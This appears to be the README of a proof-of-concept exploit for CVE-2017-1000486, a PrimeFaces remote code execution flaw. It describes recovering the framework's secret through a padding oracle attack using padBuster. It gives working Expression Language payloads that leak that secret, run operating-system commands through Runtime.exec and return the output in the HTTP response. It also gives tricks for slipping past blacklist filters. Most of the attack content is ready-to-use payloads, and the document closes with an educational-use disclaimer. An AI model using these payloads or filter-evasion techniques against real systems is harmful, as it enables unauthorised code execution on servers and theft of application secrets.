This is a PoC of CVE-2017-1000486 with some payloads useful to bypass blacklisting lexicographic checks on standard functions used to achieve RCE (getClass(), exec(), etc..) and for retrieving primefaces secret through Padding Oracle in order to be less noisy possible on exploitation.
This PoC is a multi-step script useful to analyze the context of every application and web servers libraries available.
Initially, padBuster perl script written by @AonCyberLabs is used in order to retrieve the primefaces secret, if it is not manually provided. This could be useful in order to reduce the number of request made to the server on subsequent payload encryption speeding up the whole process. The time requested to exploit the Padding Oracle vulnerability is directly proportional on the size of the payloads, using it only in the first stage on a pretty smaller payload enhance a lot the performance. I don't want to rewrite the all code of padBuster in order to integrate directly with python, so a clean command execution via OS is made in order to run it.
EL payload:
${facesContext["getExternalContext"]()["setResponseHeader"]("SECRET",initParam["primefaces.SECRET"])}
A simple check with an EL that perform an header injection is made in order to check the EL code execution. Consider that in this case two methods are available setResponseHeader and addResponseHeader, other methods available could be retrieved from official documentation.
EL payload:
${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}
Then a series of check on available implicit variables is made to highligh some potential problems caused by custom web server libraries that didn't offer all the implicit variable, as IBM WebLogic. Moreover is retrieved the version of Java Runtime trying to be more specific possible with the payload.
In fact, I observe that on Java <=7 there are some parameter type confusion on methods called. I suppose this happened due to the variable type assignation performed by EL parser. In order to avoid that, the script refers to specific methods via getDeclaredMethods() array, in this case is needed the identintification of the correct index for each method used. This obviously increment the size of the payload but provide a lot of resiliency.
In order to create a byte array as buffer a workaround through "".format("%0999d",0).getBytes(), creating a 999 length size buffer, or "0000000".getBytes() creating a 7 length size buffer, is used.
Standard EL:
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"]("command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}
EL with getDeclaredMethods():
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}
-
Methods on JSF can be called via ["method"]() reference, not only as standard Java with dot notation .method(). This could help to bypass filter made on server between the decryption and the execution of the EL.
-
getClass() could be subsitute with ["class"] statement
-
facesContext.getExternalContext().getSession(true).putValue() could be substitute by session.setAttribute(), as general approach every map could be used as repository to store variables
THIS TOOL IS BEING PROVIDED FOR EDUCATIONAL PURPOSES ONLY, WITH THE INTENT FOR RESEARCH PURPOSES ONLY.
You may not use this software for any illegal or unethical purpose; including activities which would give rise to criminal or civil liability.
USE ON YOUR OWN RISK. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER OR CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.